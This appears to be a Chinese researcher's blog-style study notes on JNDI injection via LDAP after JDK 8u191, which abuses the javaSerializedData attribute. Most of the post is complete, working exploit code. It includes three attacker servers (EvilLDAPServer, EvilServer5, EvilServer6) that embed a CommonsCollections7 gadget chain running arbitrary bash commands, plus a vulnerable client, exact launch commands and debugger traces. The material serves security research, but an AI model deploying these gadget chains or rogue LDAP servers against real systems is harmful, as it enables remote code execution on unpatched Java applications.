阅读: 2
「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」
本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简单点说,利用”javaSerializedData”属性,参[44]。
KINGX的方案是自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用标准LDAP服务,无需直接操作”javaSerializedData”属性,估计之前没人这么干过。
Simple all-in-one LDAP server (wrapped ApacheDS)
https://github.com/kwart/ldap-server
$ vi jndi.ldif
dn: o=anything,dc=evil,dc=com objectclass: top objectclass: organization o: anything |
这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。
java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif
参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。
参[74],后面的PoC用到了如下库:
unboundid-ldapsdk-3.1.1.jar
commons-collections-3.1.jar
/* * javac -encoding GBK -g VulnerableClient.java */ import javax.naming.*; public class VulnerableClient { public static void main ( String[] argv ) throws Exception { String name = argv[0]; Context ctx = new InitialContext(); ctx.lookup( name ); } } |
这是受漏洞影响的JNDI客户端。
参[45],这就是:
我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 |
/* * javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.net.*; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class EvilLDAPServer { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } /* * com.sun.jndi.ldap.Obj.serializeObject */ private static byte[] serializeObject ( Object obj ) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); return bos.toByteArray(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { String cmd; public OperationInterceptor ( String cmd ) { this.cmd = cmd; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry( base ); try { sendResult( result, base, e ); } catch ( Exception ex ) { ex.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { e.addAttribute( "javaClassName", "foo" ); e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) ); result.sendSearchEntry( e ); result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) ); } } private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception { InMemoryDirectoryServerConfig conf = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" ); conf.setListenerConfigs ( new InMemoryListenerConfig ( "listen", InetAddress.getByName( addr ), Integer.valueOf( port ), ServerSocketFactory.getDefault(), SocketFactory.getDefault(), ( SSLSocketFactory )SSLSocketFactory.getDefault() ) ); conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) ); InMemoryDirectoryServer ds = new InMemoryDirectoryServer( conf ); ds.startListening(); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); String cmd = argv[2]; MiniLDAPServer( addr, port, cmd ); } } |
假设目录结构是:
.
|
+—test1
| EvilLDAPServer.class
| EvilLDAPServer$OperationInterceptor.class
| unboundid-ldapsdk-3.1.1.jar
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar
在test1目录执行:
java \
-cp “commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:.” \
EvilLDAPServer 192.168.65.23 10388 “/bin/touch /tmp/scz_is_here”
在test2目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \
VulnerableClient any
EvilLDAPServer自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后的原理跟EvilLDAPServer一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
/* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class EvilServer5 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } public static void main ( String[] argv ) throws Exception { String name = argv[0]; String cmd = argv[1]; Object obj = getObject( cmd ); Context ctx = new InitialContext(); ctx.rebind( name, obj ); System.in.read(); } } |
用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现”javaSerializedData”属性,不需要奇技淫巧。
即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指定”javaSerializedData”属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject()中用rebind()第二形参的序列化数据覆盖之。
不过,神奇的是,我碰上过这个错误提示:
More than one value has been provided for the single-valued attribute: javaSerializedData
动态调试发现有两个”javaSerializedData”属性出现,分别对应rebind()第二、三形参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。
假设目录结构是:
.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer5.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar
在test0目录执行:
java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif
在test1目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”
在test2目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any
调试EvilServer5:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in com.sun.jndi.ldap.Obj.encodeObject
stop at com.sun.jndi.ldap.Obj:173
[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271
[2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181
[3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45
[4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39
[5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5
[6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62
[7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29
[8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10
[9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7
[10] EvilServer5.main (EvilServer5.java:92), pc = 26
参看:
InitialContext.rebind // 8u232 LdapCtx.c_rebind LdapCtx.c_rebind // LdapCtx:464 LdapCtx.c_bind // LdapCtx:500 Obj.determineBindAttrs // LdapCtx:411 Obj.encodeObject // Obj:597 // convert the supplied object into LDAP attributes attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj))) // Obj:173 // 设置"javaSerializedData"属性 attrs = addRdnAttributes(...) // LdapCtx:416 answer = clnt.add(entry, reqCtls) // LdapCtx:419 // com.sun.jndi.ldap.LdapClient.add() |
如果ctx.rebind()碰上如下错误提示:
a) More than one value has been provided for the single-valued attribute: javaSerializedData
b) can only bind Referenceable, Serializable, DirContext
动态调试这个函数:
com.sun.jndi.ldap.Obj.encodeObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
/* * com.sun.jndi.ldap.Obj.encodeObject */ /** * Encode an object in LDAP attributes. * Supports binding Referenceable or Reference, Serializable, * and DirContext. * * If the object supports the Referenceable interface then encode * the reference to the object. See encodeReference() for details. *<p> * If the object is serializable, it is stored as follows: * javaClassName * value: Object.getClass(); * javaSerializedData * value: serialized form of Object (in binary form). * javaTypeName * value: getTypeNames(Object.getClass()); */ private static Attributes encodeObject(char separator, Object obj, Attributes attrs, Attribute objectClass, boolean cloned) throws NamingException { boolean structural = (objectClass.size() == 0 || (objectClass.size() == 1 && objectClass.contains("top"))); if (structural) { objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]); } // References if (obj instanceof Referenceable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, ((Referenceable)obj).getReference(), attrs, obj)); } else if (obj instanceof Reference) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, (Reference)obj, attrs, null)); // Serializable Object } else if (obj instanceof java.io.Serializable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) || objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) { objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]); } if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); /* * 173行,设置"javaSerializedData"属性 */ attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA], serializeObject(obj))); if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) { attrs.put(JAVA_ATTRIBUTES[CLASSNAME], obj.getClass().getName()); } if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) { Attribute tAttr = LdapCtxFactory.createTypeNameAttr(obj.getClass()); if (tAttr != null) { attrs.put(tAttr); } } // DirContext Object } else if (obj instanceof DirContext) { // do nothing } else { /* * 190行 */ throw new IllegalArgumentException( "can only bind Referenceable, Serializable, DirContext"); } // System.err.println(attrs); return attrs; } |
调试VulnerableClient:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.Runtime.exec(java.lang.String[])
[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30
[7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12
[8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18
[9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118
[10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12
[11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55
[12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228
[13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38
[23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52
[24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164
[25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81
[26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26
[27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9
[28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6
[29] VulnerableClient.main (VulnerableClient.java:12), pc = 14
参看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
InitialContext.lookup // 8u232 LdapCtx.c_lookup LdapResult answer = doSearchOnce() // LdapCtx:1027 // 向LDAP Server查询 attrs = entry.attributes // LdapCtx:1047 // 取entry的所有属性 if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) // LdapCtx:1049 // 检查entry的"javaClassName"属性 // 本例中是"java.util.Hashtable" Obj.decodeObject // LdapCtx:1051 attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA]) // Obj:237 // 取"javaSerializedData"属性 Obj.deserializeObject // Obj:239 // 对byte[]进行反序列化 ObjectInputStream.readObject // Obj:531 Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec |
这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。
参[39],Alvaro Munoz在议题中给了点代码片断:
System.out.println("Poisoning LDAP user"); BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL)); BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload")); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes)); ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods); |
他调用的是:
javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])
我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心很重,基于他这个片断写了EvilServer6.java。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 |
/* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.directory.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class EvilServer6 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } /* * com.sun.jndi.ldap.Obj.serializeObject */ private static byte[] serializeObject ( Object obj ) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); return bos.toByteArray(); } public static void main ( String[] argv ) throws Exception { String name = argv[0]; String cmd = argv[1]; Object obj = getObject( cmd ); String sth = ""; Attribute attr = new BasicAttribute( "javaSerializedData", serializeObject( obj ) ); ModificationItem[] mods = new ModificationItem[1]; mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr ); DirContext ctx = new InitialDirContext(); /* * com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190) * * can only bind Referenceable, Serializable, DirContext */ ctx.rebind( name, sth, null ); ctx.modifyAttributes( name, mods ); System.in.read(); } } |
EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。
假设目录结构是:
.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer6.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar
在test0目录执行:
java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif
在test1目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer6 cn=any “/bin/touch /tmp/scz_is_here”
在test2目录执行:
java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any
[39] A Journey From JNDI LDAP Manipulation To RCE – Alvaro Munoz, Oleksandr Mirosh [2016-08-02]
[44] LDAP Directories
https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html
(提到javaSerializedData)
[45] 如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX [2019-06-03]
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
[74]
https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/
https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar